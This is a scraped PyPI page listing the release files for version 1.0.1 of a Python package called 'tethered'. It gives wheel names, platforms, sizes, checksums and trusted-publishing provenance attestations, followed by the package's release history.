Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl

Download URL tethered-1.0.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl
Size 236.7 kB
Tags CPython 3.12 Linux glibc 2.17+ x86-64 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
1da6ff8bfcc32e4a6ba48d55de65f01927dbd37290c8efcd25abc251235cb428
BLAKE2b-256 checksum
How to use checksums
0164e7456015f9819032104b4f53767f5b06e5d07b6c8effb0485aecf07c88f0
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl

Download URL tethered-1.0.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl
Size 237.6 kB
Tags CPython 3.12 Linux glibc 2.17+ ARM64 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
c726a66353d0f3993a2afde8d6ef1e5b8106acfaf9ee8dce4e50c597f5b9e02b
BLAKE2b-256 checksum
How to use checksums
d86aa1538af092bca955072119dc54fb92540121a2c87fa8fe1a6a25dcc54846
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-macosx_11_0_arm64.whl

Download URL tethered-1.0.1-cp312-cp312-macosx_11_0_arm64.whl
Size 146.9 kB
Tags CPython 3.12 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
6976e965cb9f1f6023989ea8f6122f6a08f414629658d6e43f423b83c40c00f5
BLAKE2b-256 checksum
How to use checksums
d2d3a1c0b6e9209c73e4c3787a456828382e6866c1eba3fe3eaf22d5c18b5c2f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-win_amd64.whl

Download URL tethered-1.0.1-cp311-cp311-win_amd64.whl
Size 147.2 kB
Tags CPython 3.11 Windows x86-64
SHA-256 checksum
How to use checksums
f9bccd5e7dd1ce5987cfce02bdaf9ee123dc13cbb2cbf2024e5283482f8a182c
BLAKE2b-256 checksum
How to use checksums
49312f9d4213639d8f711df14b2399eacd2f254defef05343d2bf1668314d1ea
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-win32.whl

Download URL tethered-1.0.1-cp311-cp311-win32.whl
Size 145.0 kB
Tags CPython 3.11 Windows x86-32
SHA-256 checksum
How to use checksums
cc2bf005f4947501eefd038dfcb566ebc73931529ac8c8fcb8898279af01059a
BLAKE2b-256 checksum
How to use checksums
beb69ded203e59b581b9bc6de51ad0aa7443ed4a5c49baf205275e16c3e1571b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-musllinux_1_2_x86_64.whl

Download URL tethered-1.0.1-cp311-cp311-musllinux_1_2_x86_64.whl
Size 230.3 kB
Tags CPython 3.11 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
119049220f6c71f7b8ed2634b99d1fb7388fb9aab5a64900419af13213d516b8
BLAKE2b-256 checksum
How to use checksums
21e07e92eb04c1bedfe316df222161359523ba76f091557d204dcf712b2a3b0e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-musllinux_1_2_aarch64.whl

Download URL tethered-1.0.1-cp311-cp311-musllinux_1_2_aarch64.whl
Size 231.2 kB
Tags CPython 3.11 Linux musl 1.2+ ARM64
SHA-256 checksum
How to use checksums
9157e0b1acf2bba37894083338397956389424c8996d6646e5e95cee12ad7feb
BLAKE2b-256 checksum
How to use checksums
f6f14d93a2f8dab8f884c37a2594e1d49c2b162ec90dfe2d952791d9221ca547
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl

Download URL tethered-1.0.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl
Size 232.3 kB
Tags CPython 3.11 Linux glibc 2.17+ x86-64 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
78b7f47127bedef42e570814a112c1079ee39b6bbefd8f49b1cd85fb02b8ad7f
BLAKE2b-256 checksum
How to use checksums
49b8d449dbfe83ff01281e22d0dbb593299d1f85078793ac2c91d85f907ce9d0
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl

Download URL tethered-1.0.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl
Size 233.8 kB
Tags CPython 3.11 Linux glibc 2.17+ ARM64 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
aa68724fe9ae61e088d550d90558164523e42f98de27d3aaa12c2315250da407
BLAKE2b-256 checksum
How to use checksums
0673f1b593c5b99dbb3ede10c0f0ac4c47470791a90cec7c7e42280d1c63bb15
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp311-cp311-macosx_11_0_arm64.whl

Download URL tethered-1.0.1-cp311-cp311-macosx_11_0_arm64.whl
Size 146.8 kB
Tags CPython 3.11 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
7157921dcfb465e74dbea85b957bbdd7387c09f1baea22f588accacfcdbdda32
BLAKE2b-256 checksum
How to use checksums
04f4766ce3d028fa080d56cde3d72c450bd3004fcf17be3fa51bd3a3f1de99b2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release history Release notifications | RSS feed

1.1.0

36 release files

This release

1.0.1 This release

36 release files

1.0.0

36 release files

0.5.3

36 release files

0.5.2

36 release files

0.5.1

36 release files

0.5.0

33 release files

0.4.0

33 release files

0.3.3

2 release files

0.3.2

2 release files

0.2.0

2 release files

0.1.4

2 release files

0.1.3

2 release files

0.1.2

2 release files

0.1.1

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page